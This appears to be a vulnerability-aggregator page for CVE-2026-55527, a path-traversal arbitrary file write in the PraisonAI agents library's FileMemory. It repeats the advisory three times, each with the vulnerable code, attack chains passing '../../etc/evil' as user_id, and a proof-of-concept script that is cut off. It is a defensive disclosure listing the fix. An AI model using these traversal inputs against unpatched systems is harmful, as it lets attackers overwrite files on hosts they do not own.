CVE-2026-55527
PraisonAI: Arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location
PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the FileMemory constructor joins unsanitized user_id into self.user_path. A caller supplying ../ or path separators can escape the memory directory and write JSON data to arbitrary process-writable locations. The fix sanitizes user_id before constructing self.user_path. This issue is fixed in version 1.6.58.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
7.1
PraisonAI: Arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location
PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the FileMemory constructor joins unsanitized user_id into self.user_path. A caller supplying ../ or path separators can escape the memory directory and write JSON data to arbitrary process-writable locations. The fix sanitizes user_id before constructing self.user_path. This issue is fixed in version 1.6.58.
- Record
CVE-2026-55527- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-22, CWE-73
- Updated
- 2026-11-02
EUVDEUVD-2026-65520
7.1
PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the FileMemory constructor joins unsanitized user_id into self.user_path. A caller supplying ../ or path separators can escape the memory directory and write JSON data to arbitrary process-writable locations. The fix sanitizes user_id before constructing self.user_path. This issue is fixed in version 1.6.58.
- Record
EUVD-2026-65520- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-gxmw-5f7x-6g22
7.1
praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location
Summary
praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all
memory file paths by directly joining the user_id parameter to a base path:
self.user_path = self.base_path / user_id # LINE 145 — no sanitization
No validation or normalization is applied to user_id before the path join.
An attacker who can supply a user_id containing ../ sequences can write
arbitrary JSON files (memory content) to any writable location on the filesystem.
The vulnerability is confirmed live on the current main branch
(praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744
(which covered MultiAgentMonitor in an example file, not FileMemory in the
core library).
Details
Vulnerable code — praisonaiagents/memory/file_memory.py lines 139-157:
def __init__(
self,
user_id: str = "default",
base_path: Optional[str] = None,
...
):
...
self.user_path = self.base_path / user_id # LINE 145 — NO SANITIZATION
self.episodic_path = self.user_path / "episodic"
self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path
self.episodic_path.mkdir(parents=True, exist_ok=True)
self.config_file = self.user_path / "config.json"
self.short_term_file = self.user_path / "short_term.json"
self.long_term_file = self.user_path / "long_term.json"
self.entities_file = self.user_path / "entities.json"
self.summaries_file = self.user_path / "summaries.json"
All five JSON files are written under user_path, which is directly derived from
the attacker-controlled user_id. The written content is valid JSON in the memory
item format (configurable user content + metadata).
Comparison with the patched reference — praisonaiagents/storage/backends.py
(SQLiteBackend):
The sibling SQLiteBackend validates its table_name with a regex:
if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
raise ValueError(...)
No equivalent validation exists in FileMemory.
Attack chains:
A — Direct Python API (any caller):
from praisonaiagents.memory.file_memory import FileMemory
mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates /etc/evil/short_term.json (on Linux)
# Creates C:\evil\short_term.json (on Windows)
B — Via Agent constructor (memory dict):
from praisonaiagents import Agent
agent = Agent(
name="assistant",
memory={"provider": "file", "user_id": "../../etc/evil"},
instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init
C — Via agents.yaml / job submission (agent_yaml field):
# Submitted via POST /jobs with agent_yaml:
agents:
researcher:
memory:
provider: file
user_id: "../../tmp/evil"
role: "Research assistant"
goal: "Research topics"
agents_generator.py passes the memory.user_id value to the Agent constructor.
PoC
Environment: Python 3.9+, praisonaiagents <= 1.6.52
Step 1 — Verify path escapes base (no dependencies needed):
from pathlib import Path
import tempfile
base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id
try:
user_path.resolve().relative_to(base.resolve())
print("SAFE")
except ValueError:
print("!!PATH ESCAPES BASE!!")
print("Writes to:", user_path.resolve())
Output:
!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escape
Step 2 — Live exploit (files written outside base):
import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory
BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)
TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()
mem =…
- Record
GHSA-gxmw-5f7x-6g22- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-22, CWE-73
- Updated
- 2026-11-02
NVD
7.1
PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the FileMemory constructor joins unsanitized user_id into self.user_path. A caller supplying ../ or path separators can escape the memory directory and write JSON data to arbitrary process-writable locations. The fix sanitizes user_id before constructing self.user_path. This issue is fixed in version 1.6.58.
- Record
CVE-2026-55527- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-22, CWE-73
- Updated
- 2026-11-02
OSV
7.1
PraisonAI: Arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location
PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the FileMemory constructor joins unsanitized user_id into self.user_path. A caller supplying ../ or path separators can escape the memory directory and write JSON data to arbitrary process-writable locations. The fix sanitizes user_id before constructing self.user_path. This issue is fixed in version 1.6.58.
- Record
CVE-2026-55527- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-22, CWE-73
- Updated
- 2026-11-02
OSVGHSA-gxmw-5f7x-6g22
7.1
praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location
Summary
praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all
memory file paths by directly joining the user_id parameter to a base path:
self.user_path = self.base_path / user_id # LINE 145 — no sanitization
No validation or normalization is applied to user_id before the path join.
An attacker who can supply a user_id containing ../ sequences can write
arbitrary JSON files (memory content) to any writable location on the filesystem.
The vulnerability is confirmed live on the current main branch
(praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744
(which covered MultiAgentMonitor in an example file, not FileMemory in the
core library).
Details
Vulnerable code — praisonaiagents/memory/file_memory.py lines 139-157:
def __init__(
self,
user_id: str = "default",
base_path: Optional[str] = None,
...
):
...
self.user_path = self.base_path / user_id # LINE 145 — NO SANITIZATION
self.episodic_path = self.user_path / "episodic"
self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path
self.episodic_path.mkdir(parents=True, exist_ok=True)
self.config_file = self.user_path / "config.json"
self.short_term_file = self.user_path / "short_term.json"
self.long_term_file = self.user_path / "long_term.json"
self.entities_file = self.user_path / "entities.json"
self.summaries_file = self.user_path / "summaries.json"
All five JSON files are written under user_path, which is directly derived from
the attacker-controlled user_id. The written content is valid JSON in the memory
item format (configurable user content + metadata).
Comparison with the patched reference — praisonaiagents/storage/backends.py
(SQLiteBackend):
The sibling SQLiteBackend validates its table_name with a regex:
if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
raise ValueError(...)
No equivalent validation exists in FileMemory.
Attack chains:
A — Direct Python API (any caller):
from praisonaiagents.memory.file_memory import FileMemory
mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates /etc/evil/short_term.json (on Linux)
# Creates C:\evil\short_term.json (on Windows)
B — Via Agent constructor (memory dict):
from praisonaiagents import Agent
agent = Agent(
name="assistant",
memory={"provider": "file", "user_id": "../../etc/evil"},
instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init
C — Via agents.yaml / job submission (agent_yaml field):
# Submitted via POST /jobs with agent_yaml:
agents:
researcher:
memory:
provider: file
user_id: "../../tmp/evil"
role: "Research assistant"
goal: "Research topics"
agents_generator.py passes the memory.user_id value to the Agent constructor.
PoC
Environment: Python 3.9+, praisonaiagents <= 1.6.52
Step 1 — Verify path escapes base (no dependencies needed):
from pathlib import Path
import tempfile
base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id
try:
user_path.resolve().relative_to(base.resolve())
print("SAFE")
except ValueError:
print("!!PATH ESCAPES BASE!!")
print("Writes to:", user_path.resolve())
Output:
!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escape
Step 2 — Live exploit (files written outside base):
import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory
BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)
TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()
mem =…
- Record
GHSA-gxmw-5f7x-6g22- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Weakness
- CWE-22, CWE-73
- Updated
- 2026-11-02
OSVPYSEC-2026-3902
7.1
praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location
Summary
praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all
memory file paths by directly joining the user_id parameter to a base path:
self.user_path = self.base_path / user_id # LINE 145 — no sanitization
No validation or normalization is applied to user_id before the path join.
An attacker who can supply a user_id containing ../ sequences can write
arbitrary JSON files (memory content) to any writable location on the filesystem.
The vulnerability is confirmed live on the current main branch
(praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744
(which covered MultiAgentMonitor in an example file, not FileMemory in the
core library).
Details
Vulnerable code — praisonaiagents/memory/file_memory.py lines 139-157:
def __init__(
self,
user_id: str = "default",
base_path: Optional[str] = None,
...
):
...
self.user_path = self.base_path / user_id # LINE 145 — NO SANITIZATION
self.episodic_path = self.user_path / "episodic"
self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path
self.episodic_path.mkdir(parents=True, exist_ok=True)
self.config_file = self.user_path / "config.json"
self.short_term_file = self.user_path / "short_term.json"
self.long_term_file = self.user_path / "long_term.json"
self.entities_file = self.user_path / "entities.json"
self.summaries_file = self.user_path / "summaries.json"
All five JSON files are written under user_path, which is directly derived from
the attacker-controlled user_id. The written content is valid JSON in the memory
item format (configurable user content + metadata).
Comparison with the patched reference — praisonaiagents/storage/backends.py
(SQLiteBackend):
The sibling SQLiteBackend validates its table_name with a regex:
if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
raise ValueError(...)
No equivalent validation exists in FileMemory.
Attack chains:
A — Direct Python API (any caller):
from praisonaiagents.memory.file_memory import FileMemory
mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates /etc/evil/short_term.json (on Linux)
# Creates C:\evil\short_term.json (on Windows)
B — Via Agent constructor (memory dict):
from praisonaiagents import Agent
agent = Agent(
name="assistant",
memory={"provider": "file", "user_id": "../../etc/evil"},
instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init
C — Via agents.yaml / job submission (agent_yaml field):
# Submitted via POST /jobs with agent_yaml:
agents:
researcher:
memory:
provider: file
user_id: "../../tmp/evil"
role: "Research assistant"
goal: "Research topics"
agents_generator.py passes the memory.user_id value to the Agent constructor.
PoC
Environment: Python 3.9+, praisonaiagents <= 1.6.52
Step 1 — Verify path escapes base (no dependencies needed):
from pathlib import Path
import tempfile
base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id
try:
user_path.resolve().relative_to(base.resolve())
print("SAFE")
except ValueError:
print("!!PATH ESCAPES BASE!!")
print("Writes to:", user_path.resolve())
Output:
!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escape
Step 2 — Live exploit (files written outside base):
import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory
BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)
TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()
mem =…
- Record
PYSEC-2026-3902- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
praisonaiagentsPyPI |
before 1.6.58 | 1.6.58 |
praisonaiagentsPyPI |
before 1.6.58, plus listed versions 0.0.10.0.100.0.1000.0.1010.0.102 Show 45 moreShow less0.0.1030.0.1040.0.1050.0.1060.0.1070.0.1080.0.1090.0.110.0.1100.0.1110.0.1120.0.1130.0.1140.0.1150.0.1160.0.1170.0.1180.0.1190.0.120.0.1200.0.1210.0.1220.0.1230.0.1240.0.1250.0.1260.0.1270.0.1280.0.1290.0.130.0.1300.0.1310.0.1320.0.1330.0.1340.0.1350.0.1360.0.1370.0.1380.0.1390.0.140.0.1400.0.1410.0.1420.0.143 |
1.6.58 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-55527 is a high vulnerability (CVSS 7.1) in Mervinpraison Praisonai, published August 25, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.48%, the 41st percentile. Fixed in praisonaiagents 1.6.58.
References
github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gxmw-5f7x-6g22
github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1
github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58
github.com/advisories/GHSA-gxmw-5f7x-6g22
github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55527.json
nvd.nist.gov/vuln/detail/CVE-2026-55527
github.com/MervinPraison/PraisonAI
pypi.org/project/praisonaiagents
Left out here: 535 versions and the rest of 3 source descriptions. The JSON record has them.